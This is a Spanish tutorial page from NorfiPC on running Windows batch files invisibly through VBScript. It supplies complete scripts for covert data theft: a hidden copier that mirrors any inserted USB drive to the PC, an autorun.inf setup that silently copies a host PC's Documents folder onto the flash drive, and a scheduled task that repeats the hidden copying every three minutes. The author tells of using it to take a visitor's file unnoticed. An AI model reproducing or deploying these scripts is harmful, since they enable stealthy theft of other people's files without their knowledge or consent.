NorfiPC
NorfiPC » Comandos Windows » Ejecutar batch ocultos

Como ejecutar y hacer funcionar los archivos batch ocultos

Hacer correr los batch en segundo plano, de forma oculta, sin mostrar la operación en la ventana del Símbolo del sistema o Consola de MSDOS.
Ejecutar los archivos batch y comandos de forma invisible y ocultos

Se puede ejecutar en Windows cualquier archivo batch de forma oculta, silenciosa e invisible, de manera que no se muestre el proceso en la consola de CMD.
Para eso es necesario crear un script escrito en lenguaje VBScript, que sea el que llame y ejecute el archivo batch y lo ejecute de forma oculta.
Los scripts son sencillas aplicaciones auto ejecutables similares a los archivos batch, la diferencia es que contienen código escrito en lenguaje VBScript, una derivación del famoso Visual Basic de Microsoft.
Para crear uno de estos scripts, solo es necesario pegar el código necesario en el Bloc de notas de Windows y guardar el archivo con cualquier nombre, pero que tenga la extensión de archivo: .vbs, en vez de la tradicional: .txt


Crear un script para ejecutar un archivo batch de forma oculta


Para crear el script necesario copia el siguiente código en el Bloc de notas y guárdalo con la extensión .vbs.
Cambia "archivo.cmd", por la ruta y el nombre del archivo batch que se desea ejecutar.
Como comprobaras en el código, la opción "vbhide" es la que hace que no se muestre la pantalla al ejecutarse el batch.
set objshell = createobject("wscript.shell")
objshell.run "archivo.cmd",vbhide

Archivo batch para copiar datos de dispositivos en unidades USB de forma oculta


A continuación comparto el código para crear un archivo batch que permite copiar de manera eficaz datos de cualquier dispositivo insertado en un puerto USB de la PC de forma oculta.
El método utilizado es un VBScript que al ejecutarlo llama al batch que hace la función de copia.
Este batch está diseñado de forma tal que automáticamente detecta en que unidad esta insertado el dispositivo y copia todo su contenido a una carpeta en tu PC, en este caso en la ruta D:\COPIA\.
Tanto el script como el batch se ejecutan de forma invisible por lo que todo el proceso es imperceptible.
El script tiene que estar en este caso en el mismo directorio que el batch, pero puedes crear un acceso directo y tenerlo por ejemplo en el Escritorio.
En este caso el script ejecutará el copiador FLASHCopy.cmd por lo que al insertar cualquier memoria o disco duro USB en tu PC te permitirá con solo dos clics copiar su contenido de forma inadvertida.
A continuación el código para crear el archivo batch y el código para crear el script en VBS.
Solo en necesario copiar el código y pegarlo en un archivo de texto plano.
Al batch hay que darle el nombre: FLASHCopy.cmd
Si es necesario en el código cambia la letra de la unidad D donde serán guardados los archivos, por la letra de una unidad con espacio en disco suficiente.
El script VBS puede tener cualquier nombre, pero requiere la extensión .VBS.
Mas información: Qué son los archivos BATCH o BAT, usos prácticos y como crearlos
Código del archivo batch.
:: (c) Norfipc 2019 - http://norfipc.com
@ECHO OFF
set tiempo=%time:~0,5%
set tiempo=%tiempo::=-% 
set fecha=%date:~0%
set fecha=%fecha:/=-%
set file=%fecha% %tiempo% 
echo %file%
set ruta="E:\COPIA\%file%" 
mkdir %ruta% 
MOUNTVOL /R
FOR /F "tokens=2 delims=\ " %%A IN ('REG Query "HKLM\SYSTEM\MountedDevices" /v "\DosDevices\*" ^| FINDSTR /R /E /C:" 5F[0-9A-F]*"') DO ROBOCOPY %%A\ %ruta% /NODD  /V /MIR  /R:0  /W:0 /ETA

Código del script.
set objshell = createobject("wscript.shell")
objshell.run "FLASHCopy.cmd",vbhide



Copiar datos de forma automática de la PC a la memoria flash


Es posible también hacer lo inverso, tener los archivos necesarios en la memoria flash para que al insertarla en una PC, de forma automática se copien al dispositivo los archivos que hayas especificado de antemano en el archivo batch, esto se logra creando un archivo autorun.inf que indica a Windows iniciar el script y este a su vez ejecuta el batch que realiza la copia, todo esto funciona de forma automática e imperceptible para el usuario.
El código del archivo batch puede ser como el siguiente, que hace la copia de la carpeta Mis Documentos a la carpeta DATOS en la memoria, solo cambia la ruta por la de tu conveniencia, cópialo al Bloc de notas y guárdalo como Rcopy.cmd:
robocopy.exe /MIR "%userprofile%\Documents" %1\DATOS"
Si usas Windows XP y no has instalado robocopy.exe en tu sistema, entonces tendrás que utilizar en tu archivo batch el comando XCOPY como en el ejemplo siguiente:
XCOPY "%userprofile%\Documents" %1\DATOS" /E /F /I /C /Y
Para hacer el archivo autorun.inf copia el siguiente código al Bloc de notas y guárdalo como autorun.inf:
[Autorun]
Open= start.vbs
Icon=icons\drive.ico
Label=Test
UseAutoPlay=1
action=Abrir USB
El otro archivo a crear seria el script con el siguiente código, cópialo al Bloc de notas y guárdalo como start.vbs:
set objshell = createobject("wscript.shell")
objshell.run "bin\Rcopy.cmd",vbhide
Lo siguiente es copiar start.vbs y autorun.inf a la raíz de la memoria y el batch Rcopy.cmd al interior de una carpeta nombrada bin.
Listo, cuando insertes la memoria en otra PC copiará la carpeta en este caso Mis Documentos a la carpeta DATOS de tu memoria flash.


Como cancelar el proceso de cualquier copia en curso


Recuerda que en el proceso de copia no se mostrará ninguna ventana, por lo que si tienes que cancelar la copia solo podrás hacerlo mediante el Administrador de tareas.
También tienes la alternativa de utilizar un batch para cancelar el proceso, para eso créalo con el siguiente código:
@echo off
taskkill /f /IM robocopy.exe
taskkill /f /IM cmd.exe

Para Windows XP seria de la siguiente forma:
@echo off
taskkill /f /IM xcopy.exe
taskkill /f /IM cmd.exe


Copiar datos de forma automática y oculta de una memoria USB a la PC o Notebook


En el artículo Hacer backup o respaldo de datos en una memoria flash de forma automática, se explica que en Vista y aún más en Windows 7 esta deshabilitada la reproducción automática en unidades extraíbles, por lo que es imposible utilizar el archivo autorun.inf para planificar la ejecución de ninguna tarea mediante un batch ni cualquier otro archivo.
En algunos casos es viable mediante la línea de comandos programar una tarea que cada cierto tiempo ejecute el script que se vio en el primer caso, que verifica si hay algún dispositivo conectado en la PC y si es así copia su contenido a una carpeta nuestra de forma silenciosa e invisible.
Para eso podemos utilizar el comando SCHTASKS.

Utilizar el comando SCHTASKS para programar tareas


El comando SCHTASKS es creado para programar tareas en el equipo, con opciones más avanzadas de lo que permite el anterior comando AT, que todavía es posible de utilizar, pero solo en tareas sencillas.
SCHTASKS lista, crea, elimina o permite editar tareas programadas en el equipo.
Al usarlo sin parámetros muestra todas las tareas programadas en la PC, algunas que ni tenemos idea ya que las ordenan aplicaciones o el propio sistema sin enterarnos.
Usándolo con la opción /CREATE podemos planificar una acción, que es lo que se ordena en el siguiente archivo batch, ejecutar el script start.vbs cada 3 minutos.


Usos prácticos del comando SCHTASKS


El siguiente batch hubo necesidad de crearlo y probarlo en solo cinco minutos, en una emergencia real de un caso de una persona allegada que esperaba a alguien (conocedor de informática y difícil de distraer), que venía a hacer una labor en su PC y tenía en su memoria flash un documento que le era muy necesario, pero que no iba a poder estar cerca ni en los alrededores de dicha PC.
En este caso se utiliza el siguiente batch llamado "run.cmd"
@echo off
SCHTASKS /create /SC MINUTE /MO 3 /tn copiar /TR C:\Hide\start.vbs 
El archivo batch run.cmd ejecuta el comando SCHTASKS que crea una tarea programada para ejecutarse cada 3 minutos.
Dicha tarea es ejecutar el script start.vbs, el cual a su vez ejecuta de forma oculta el batch FLASHCopy.cmd que verifica si existe algún dispositivo extraíble conectado y si es así copia todo su contenido de manera imperceptible a la carpeta D:\COPIA.
Codigo del archivo "start.vbs"
set objshell = createobject("wscript.shell")
objshell.run "C:\Hide\FLASHCopy.cmd",vbhide
Codigo del archivo batch "FLASHCopy.cmd"
 :: (c) Norfipc 2010 - http://norfipc.com
@ECHO OFF
set tiempo=%time:~0,5%
set tiempo=%tiempo::=-% 
set fecha=%date:~0%
set fecha=%fecha:/=-%
set file=%fecha% %tiempo% 
echo %file%
set ruta="D:\COPIA\%file%" 
mkdir %ruta% 
MOUNTVOL /R
FOR /F "tokens=2 delims=\ " %%A IN ('REG Query "HKLM\SYSTEM\MountedDevices" /v "\DosDevices\*" ^| FINDSTR /R /E /C:" 5F[0-9A-F]*"') DO ROBOCOPY %%A\ %ruta% /NODD  /V /MIR  /R:0  /W:0 /ETA
Las opciones usadas en este caso con SCHTASKS son las siguientes:
/SC MINUTE = Frecuencia de la programación
/MO Número de minutos
/tn = Nombre de la tarea
/TR = Ruta de acceso y el nombre de archivo del programa que se va a ejecutar
Para usarlo copia la carpeta Hide a la unidad C.
Utilízalo con precaución Crea un archivo un batch llamado detener_tarea para detener y eliminar la tarea creada, si no es así el script se mantendrá ejecutándose aunque reinicies el sistema y poco a poco te llenará el disco duro de datos que capture en las memorias o cualquier dispositivo USB insertado.
Codigo del archivo batch "detener_tarea.cmd"
:: (c) Norfipc 2010 - http://norfipc.com
@echo off
SCHTASKS /tn copiar /End
pause
SCHTASKS /tn copiar /delete
Puedes usar los siguientes comandos en la consola de CMD para verificar manualmente si la tarea se está ejecutando, para detenerla y eliminarla en ese mismo orden.
SCHTASKS /query /tn copiar
SCHTASKS /tn copiar /End
SCHTASKS /tn copiar /delete
Lee más información sobre el empleo de los scripts escritos en lenguaje VBScript en Windows en tareas y usos prácticos. Copia el código y crea tus propias aplicaciones: Códigos para crear aplicaciones en VBScript para usar en Windows

Páginas relacionadas